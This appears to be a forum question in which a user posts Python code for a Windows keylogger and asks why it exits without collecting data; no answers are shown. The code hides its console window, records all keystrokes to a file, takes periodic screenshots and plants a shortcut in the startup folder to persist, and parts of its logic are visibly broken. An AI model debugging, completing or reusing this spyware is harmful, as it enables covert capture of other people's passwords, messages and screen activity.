1

I am trying to understand what is happening here. I get a warning that cannot find reference 'PumpMessages' in 'pythoncom.py' but pip says Requirement already satisfied: pyHook in c:\python27\lib\site-packages so I assume it is installed correctly.

Any help would be appreciated. I have searched google for several days to no avail. Code seems to start properly creating log file and screencap dir but no data is collected and it exits with code 1.

This is the code:

import pyHook
import pythoncom
from sys import argv

from datetime import *
import os

import threading
import pyscreenshot
import win32console
import win32gui
import winshell

root_dir = os.path.split(os.path.realpath(argv[0]))[0]
log_file = os.path.join(root_dir, "log_file.txt")
caps_dir = os.path.join(root_dir, "screencaps")
name = "keylog"

buffer = ""
pause_period = 2
last_press = datetime.now()
pause_delta = timedelta(seconds=pause_period)

cap_period = 15
log_semaphore = threading.Semaphore()


def log(message):
    if len(message) > 0:
        log_semaphore.acquire()
        with open(log_file, "a")as f:
            f.write("{}:\t{}\n".format(datetime.now(), message))
            # print "{}:\t{}".format(datetime.now(), message)
        log_semaphore.release()


def keypress(event):
    global buffer, last_press
    if event.Ascii:
        char = chr(event.Ascii)

        if char == "~":
            log(buffer)
            log("---PROGRAM ENDED---")
            os._exit(1)

            pause = datetime.now() - last_press
            if pause >= pause_delta:
                log(buffer)
                buffer = ""

                if event.Ascii == 13:
                    buffer += "<ENTER>"
                elif event.Ascii == 8:
                    buffer += "<BACKSPACE>"
                elif event.Ascii == 9:
                    buffer += "<TAB>"
                else:
                    buffer += char
                last_press = datetime.now()


def screenshot():
    if not os.path.exists(caps_dir):
        os.makedirs(caps_dir)

    filename = os.path.join(caps_dir, "screen_" + datetime.now().strftime("%Y_%m_%d_%H_%M_%S") + ".png")
    pyscreenshot.grab_to_file(filename)
    log("---Screenshot taken: saved to {}---".format(filename))
    threading.Timer(cap_period, screenshot).start()


def startup():
    if name + ".lnk" not in os.listdir(winshell.startup()):
        log("---Adding shortcut to startup folder---")
        link_loc = os.path.join(winshell.startup(), name + ".lnk")
        sc = winshell.shortcut()
        sc.path = os.path.realpath(argv[0])
        sc.write(link_loc)


window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)

hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
keylog = threading.Thread(target=pythoncom.PumpMessages())

log("---PROGRAM STARTED---")

startup()
screenshot()
keylog.start()
Dinesh.hmn
  • 713
  • 7
  • 21
recant
  • 11
  • 5

0 Answers0